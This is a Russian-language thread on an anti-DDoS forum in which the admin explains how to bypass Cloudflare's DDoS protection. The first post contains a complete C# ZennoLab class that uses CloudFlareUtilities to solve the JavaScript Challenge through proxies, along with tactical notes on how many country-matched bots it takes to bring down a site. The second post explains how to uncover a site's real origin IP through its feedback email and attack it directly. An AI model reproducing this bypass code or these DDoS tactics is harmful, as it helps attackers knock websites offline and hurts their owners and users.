• Форум посвящен самостоятельной (бесплатной) защите от ддос атак.
    Есть мануалы по настройке сервера от Ddos для сисадминов и готовые инструменты от ддос-атак для вебмастеров.

    Простое, эффективное, точное и проверенное бесплатное решение от мощных ддос-атак: PHP скрипт + Cloudflare, с панелью управления.

Обход защиты Cloudflare, 2019 год

admin

admin

Администратор
Администрация
#1
Сервис Cloudflare добавил ддосерам головной боли, ведь с его помощью можно бесплатно защитить сайт от сильных ддос атак. Как результат, издержки атакующего становятся выше издержек защищающегося, спрос на ддос-услуги падает, ддосерам приходится переучиваться на смежные профессии программистов и администраторов либо шантажировать неопытных вебмастеров. В России на руку ддосерам сыграло введение интернет-цензуры в 2012 году - айпишники Клауда массово начали попадать в блок. Но сейчас процент потерь очень низкий, большинство провайдеров блокируют по URL, а не по IP, а значит Клоудфар снова актуален у нас. Но вместе с тем появляются и эффективные способы обхода защиты Cloudflare.

Какие слабые места есть у Cloudflare в 2018 году? Например, они недавно отключили метод block для стран в фаерволе на бесплатном тарифе. Но пока еще работает Javascript Challenge и Challenge. Зная географию ддоса админ сайта может отсечь большинство ддос-ботов методом Challenge, но чтобы завалить сайт (не защищенный на уровне сервера) достаточно 5-10% ботов из стран целевого трафика. Как правило, при ддосе неопытный админ выставляет режим Under Attack и просто ждет, пока ддос прекратится. Но мало того, что режим Under Attack добавляет неудобств пользователю (приходится ждать несколько секунд открытия сайта), так еще есть решения для его обхода.

Одно из таких решений - CloudFlareUtilites. Это скрипт для обхода Javascript Challenge в Cloudflare, использующий DelegatingHandler (класс для обработки сообщений HTTP). Посмотреть документацию и скачать можно на Гитхабе.
На Zennolab есть готовое решение.

Примерный код.
PHP:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Text.RegularExpressions;
using ZennoLab.CommandCenter;
using ZennoLab.InterfacesLibrary;
using ZennoLab.InterfacesLibrary.ProjectModel;
using ZennoLab.InterfacesLibrary.ProjectModel.Collections;
using ZennoLab.InterfacesLibrary.ProjectModel.Enums;
using ZennoLab.Macros;
using Global.ZennoExtensions;
using ZennoLab.Emulation;
 
 
using System.Net;
using System.Net.Http;
using System.Reflection;
using System.Collections;
using CloudFlareUtilities;
 
 
namespace ZennoLab.OwnCode
{
    public class CloudFlareBreaker
    {
        public string Address { get; set; }
        public string UserAgent { get; set; }
        public string Proxy { get; set; }
        public int MaxRetries { get; set; }
 
        private ZennoLab.CommandCenter.CookieContainer _cookieContainer;
 
        public void Break()
        {
            _cookieContainer = GetCloudFlareCookies(Address, UserAgent, Proxy, MaxRetries);
        }
 
        public ZennoLab.CommandCenter.CookieContainer GetCookieContainer()
        {
            return _cookieContainer;
        }
 
        public string GetCookieStr()
        {
            if (_cookieContainer == null) return null;
 
            var list = GetAllCookies(_cookieContainer)
                .Cast<Cookie>()
                .Select(c => c.Name + "=" + c.Value)
                .ToList();
 
            return string.Join(";", list);
        }
 
        private ZennoLab.CommandCenter.CookieContainer GetCloudFlareCookies(string address, string userAgent, string proxy, int maxRetries)
        {
            var currentTry = 0;
 
            while (currentTry < maxRetries)
            {
                try
                {
                    var cookies = new ZennoLab.CommandCenter.CookieContainer();
 
                    var msg = new HttpRequestMessage()
                    {
                        RequestUri = new Uri(address),
                        Method = HttpMethod.Get
                    };
 
                    msg.Headers.TryAddWithoutValidation("User-Agent", userAgent);
 
                    var client = new HttpClient(new ClearanceHandler(new HttpClientHandler
                    {
                        UseCookies = true,
                        CookieContainer = cookies,
                        Proxy = SetProxy(proxy)
                    }));
 
                    client.SendAsync(msg).Wait();
 
                    return cookies;
                }
                catch (Exception)
                {
                    currentTry += 1;
                }
            }
 
            return null;
        }
 
        private System.Net.CookieCollection GetAllCookies(ZennoLab.CommandCenter.CookieContainer container)
        {
            var allCookies = new CookieCollection();
            var domainTableField = container.GetType().GetRuntimeFields().FirstOrDefault(x => x.Name == "m_domainTable");
            var domains = (IDictionary)domainTableField.GetValue(container);
 
            foreach (var val in domains.Values)
            {
                var type = val.GetType().GetRuntimeFields().First(x => x.Name == "m_list");
                var values = (IDictionary)type.GetValue(val);
 
                foreach (CookieCollection cookies in values.Values)
                {
                    allCookies.Add(cookies);
                }
            }
            return allCookies;
        }
 
        private WebProxy SetProxy(string proxy)
        {
            if (string.IsNullOrEmpty(proxy)) return null;
 
            WebProxy wp;
 
            var split = proxy.Split('@');
 
            if (split.Length == 1)
            {
                wp = new WebProxy(proxy);
            }
            else
            {
                var credential = split[0].Split(':');
                var addres = split[1];
 
                wp = new WebProxy(addres)
                {
                    Credentials = new NetworkCredential
                    {
                        UserName = credential[0],
                        Password = credential[1]
                    }
                };
            }
 
            return wp;
        }
    }
}
[/CODE]
 
admin

admin

Администратор
Администрация
#2
Насчет того, что делать с капчей. Вам нужны IP из страны целевого трафика - для остальных стран админ сайта может выставить капчу, что почти равносильно блоку.

Можно еще атаковать сам IP, узнав его с помощью обратной связи. Это сработает, если администратор не использует внешнюю почту, например, Яндекса (connect.yandex.ru).
 
Сверху